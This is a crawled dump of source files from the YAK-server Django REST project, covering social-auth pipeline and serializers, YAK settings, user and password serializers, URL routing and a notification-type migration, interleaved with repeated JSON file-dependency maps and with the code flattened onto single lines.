["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,190
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_social_auth/serializers.py
from django.contrib.auth import get_user_model from rest_framework import serializers from yak.rest_user.serializers import LoginSerializer, AuthSerializerMixin User = get_user_model() class SocialSignUpSerializer(AuthSerializerMixin, LoginSerializer): fullname = serializers.CharField(read_only=True) username = serializers.CharField(read_only=True) email = serializers.EmailField(read_only=True) class Meta: model = User fields = ('fullname', 'username', 'email') write_only_fields = ('access_token', 'access_token_secret')
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,191
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_social_auth/pipeline.py
from social_django.models import UserSocialAuth from urllib import request, error from django.core.files import File # from yak.rest_core.utils import retry_cloudfiles def social_auth_user(strategy, uid, user=None, *args, **kwargs): """ Allows user to create a new account and associate a social account, even if that social account is already connected to a different user. It effectively 'steals' the social association from the existing user. This can be a useful option during the testing phase of a project. Return UserSocialAuth account for backend/uid pair or None if it doesn't exist. Delete UserSocialAuth if UserSocialAuth entry belongs to another user. """ social = UserSocialAuth.get_social_auth(kwargs['backend'].name, uid) if social: if user and social.user != user: # Delete UserSocialAuth pairing so this account can now connect social.delete() social = None elif not user: user = social.user return {'social': social, 'user': user, 'is_new': user is None, 'new_association': False} def save_extra_data(strategy, details, response, uid, user, social, *args, **kwargs): """Attempt to get extra information from facebook about the User""" if user is None: return try: # Basically, check the backend is one of ours kwargs['backend'].save_extra_data(response, user) except AttributeError: pass def save_profile_image(strategy, details, response, uid, user, social, is_new=False, *args, **kwargs): """Attempt to get a profile image for the User""" # Don't get a profile image if we don't have a user or if they're an already existing user if user is None or not is_new: return try: # Basically, check the backend is one of ours image_url = kwargs['backend'].get_profile_image(strategy, details, response, uid, user, social, is_new=is_new, *args, **kwargs) except AttributeError: return if image_url: try: result = request.urlretrieve(image_url) user.original_photo.save("{}.jpg".format(uid), File(open(result[0]))) except error.URLError: pass
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,192
jaydenwindle/YAK-server
refs/heads/master
/yak/settings.py
""" Modeled after Django REST Framework settings This module provides the `api_setting` object, that is used to access YAK settings, checking for user settings first, then falling back to the defaults. """ from django.conf import settings from django.utils import six from rest_framework.settings import APISettings, import_from_string def perform_import(val, setting_name): """ If the given setting is a string import notation, then perform the necessary import or imports. """ if isinstance(val, six.string_types): return import_from_string(val, setting_name) elif isinstance(val, (list, tuple)): return [import_from_string(item, setting_name) for item in val] elif isinstance(val, dict): return {import_from_string(k, setting_name): import_from_string(v, setting_name) for k, v in val.items()} return val class YAKAPISettings(APISettings): """ Adds the ability to import strings in dictionaries """ def __getattr__(self, attr): if attr not in self.defaults: raise AttributeError("Invalid API setting: '%s'" % attr) try: # Check if present in user settings val = self.user_settings[attr] except KeyError: # Fall back to defaults val = self.defaults[attr] # Coerce import strings into classes if val and attr in self.import_strings: val = perform_import(val, attr) # Cache the result setattr(self, attr, val) return val USER_SETTINGS = getattr(settings, 'YAK', None) DEFAULTS = { 'USER_APP_LABEL': 'test_app', 'USER_MODEL': 'user', 'USER_SERIALIZER': "test_app.api.serializers.UserSerializer", 'API_SCHEMA': 'api-schema-1.0.json', 'SOCIAL_MODEL': "test_app.models.Post", 'ALLOW_EMAIL': True, 'ALLOW_PUSH': True, 'EMAIL_NOTIFICATION_SUBJECT': 'Test Project Notification', 'PUSHWOOSH_AUTH_TOKEN': "", 'PUSHWOOSH_APP_CODE': "", 'PUSH_NOTIFICATION_HANDLER': "yak.rest_notifications.utils.send_pushwoosh_notification", 'SOCIAL_SHARE_DELAY': 60, 'USE_FACEBOOK_OG': False, 'FACEBOOK_OG_NAMESPACE': "", 'SERIALIZER_MAPPING': {}, 'FLAKE8_CONFIG': None, } # List of settings that may be in string import notation. IMPORT_STRINGS = ( "USER_SERIALIZER", "SOCIAL_MODEL", "SERIALIZER_MAPPING", ) yak_settings = YAKAPISettings(USER_SETTINGS, DEFAULTS, IMPORT_STRINGS)
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,193
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_social_auth/utils.py
from celery.task import task from django.conf import settings from social_core.backends.utils import get_backend @task def post_social_media(user_social_auth, social_obj): backend = get_backend(settings.AUTHENTICATION_BACKENDS, user_social_auth.provider) backend.post(user_social_auth, social_obj)
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,194
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_social_network/urls.py
from django.conf.urls import url, include from yak.rest_social_network import views from rest_framework import routers router = routers.DefaultRouter() # These views will normally be overwritten by notification-related views to account for notifications # They can still be used as-is by registering with the main project router # router.register(r'follows', FollowViewSet, base_name='follows') # router.register(r'likes', LikeViewSet, base_name='likes') # router.register(r'shares', ShareViewSet, base_name='shares') # router.register(r'comments', CommentViewSet, base_name='comments') # These views do not expect app-specific notifications router.register(r'tags', views.TagViewSet, base_name='tags') urlpatterns = [ url(r'^', include(router.urls)), url(r'^flag/$', views.FlagView.as_view(), name="flag"), ]
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,195
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_user/serializers.py
import base64 from django.contrib.auth import get_user_model from django.contrib.auth.hashers import make_password from django.core.validators import RegexValidator import oauth2_provider from rest_framework import serializers from rest_framework.validators import UniqueValidator from yak.rest_core.serializers import YAKModelSerializer from yak.rest_core.utils import get_package_version from yak.settings import yak_settings User = get_user_model() oauth_toolkit_version = get_package_version(oauth2_provider) class AuthSerializerMixin(object): def create(self, validated_data): if validated_data.get("username", None): validated_data["username"] = validated_data["username"].lower() if validated_data.get("email", None): validated_data["email"] = validated_data["email"].lower() if validated_data.get("password", None): validated_data["password"] = make_password(validated_data["password"]) return super(AuthSerializerMixin, self).create(validated_data) def update(self, instance, validated_data): if validated_data.get("username", None): validated_data["username"] = validated_data["username"].lower() if validated_data.get("email", None): validated_data["email"] = validated_data["email"].lower() if validated_data.get("password", None): validated_data["password"] = make_password(validated_data["password"]) return super(AuthSerializerMixin, self).update(instance, validated_data) def validate_username(self, value): username = self.context['request'].user.username if self.context['request'].user.is_authenticated else None if value and value != username and User.objects.filter(username__iexact=value).exists(): raise serializers.ValidationError("That username is taken") return value def validate_email(self, value): email = self.context['request'].user.email if self.context['request'].user.is_authenticated else None if value and value != email and User.objects.filter(email__iexact=value).exists(): raise serializers.ValidationError("An account already exists with that email") return value def validate_password(self, value): value = base64.decodebytes(bytes(value, 'utf8')).decode() if len(value) < 6: raise serializers.ValidationError("Password must be at least 6 characters") return value class LoginSerializer(serializers.ModelSerializer): client_id = serializers.SerializerMethodField() client_secret = serializers.SerializerMethodField() class Meta: model = User fields = ('client_id', 'client_secret') def get_application(self, obj): # If we're using version 0.8.0 or higher if oauth_toolkit_version[0] >= 0 and oauth_toolkit_version[1] >= 8: return obj.oauth2_provider_application.first() else: return obj.oauth2_provider_application.first() def get_client_id(self, obj): return self.get_application(obj).client_id def get_client_secret(self, obj): return self.get_application(obj).client_secret class SignUpSerializer(AuthSerializerMixin, LoginSerializer): password = serializers.CharField(max_length=128, write_only=True, error_messages={'required': 'Password required'}) username = serializers.CharField( error_messages={'required': 'Username required'}, max_length=30, validators=[RegexValidator(), UniqueValidator(queryset=User.objects.all(), message="Username taken")]) email = serializers.EmailField( allow_blank=True, allow_null=True, max_length=75, required=False, validators=[UniqueValidator(queryset=User.objects.all(), message="Email address taken")]) class Meta(LoginSerializer.Meta): fields = ('fullname', 'username', 'email', 'password', 'client_id', 'client_secret') class UserSerializer(AuthSerializerMixin, YAKModelSerializer): def __new__(cls, *args, **kwargs): """ Can't just inherit in the class definition due to lots of import issues """ return yak_settings.USER_SERIALIZER(*args, **kwargs) class PasswordConfirmSerializer(AuthSerializerMixin, serializers.Serializer): password = serializers.CharField(required=True, error_messages={'required': 'New password required'}) confirm_password = serializers.CharField(required=True, error_messages={'required': 'New password must be confirmed'}) def validate(self, attrs): # first password is decoded in the `validate_password` method attrs['confirm_password'] = base64.decodebytes(bytes(attrs['confirm_password'], 'utf8')).decode() if attrs['password'] != attrs['confirm_password']: raise serializers.ValidationError("Passwords did not match") return attrs class PasswordChangeSerializer(PasswordConfirmSerializer): old_password = serializers.CharField(required=True, error_messages={'required': 'Old password required'}) class PasswordResetSerializer(serializers.Serializer): email = serializers.EmailField() class PasswordSetSerializer(PasswordConfirmSerializer): uid = serializers.CharField() token = serializers.CharField()
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,196
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_notifications/migrations/0003_auto_20141220_0023.py
# -*- coding: utf-8 -*- from django.db import models, migrations def default_notification_types(apps, schema_editor): NotificationType = apps.get_model("rest_notifications", "NotificationType") NotificationType.objects.create(name="Comment", slug="comment", description="Someone commented on one of your posts") NotificationType.objects.create(name="Follow", slug="follow", description="Someone started following you") NotificationType.objects.create(name="Like", slug="like", description="Someone liked one of your posts") NotificationType.objects.create(name="Mention", slug="mention", description="Someone mentioned you") NotificationType.objects.create(name="Share", slug="share", description="Someone shared something with you") class Migration(migrations.Migration): dependencies = [ ('rest_notifications', '0002_auto_20141220_0018'), ] operations = [ migrations.RunPython(default_notification_types), ]
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": 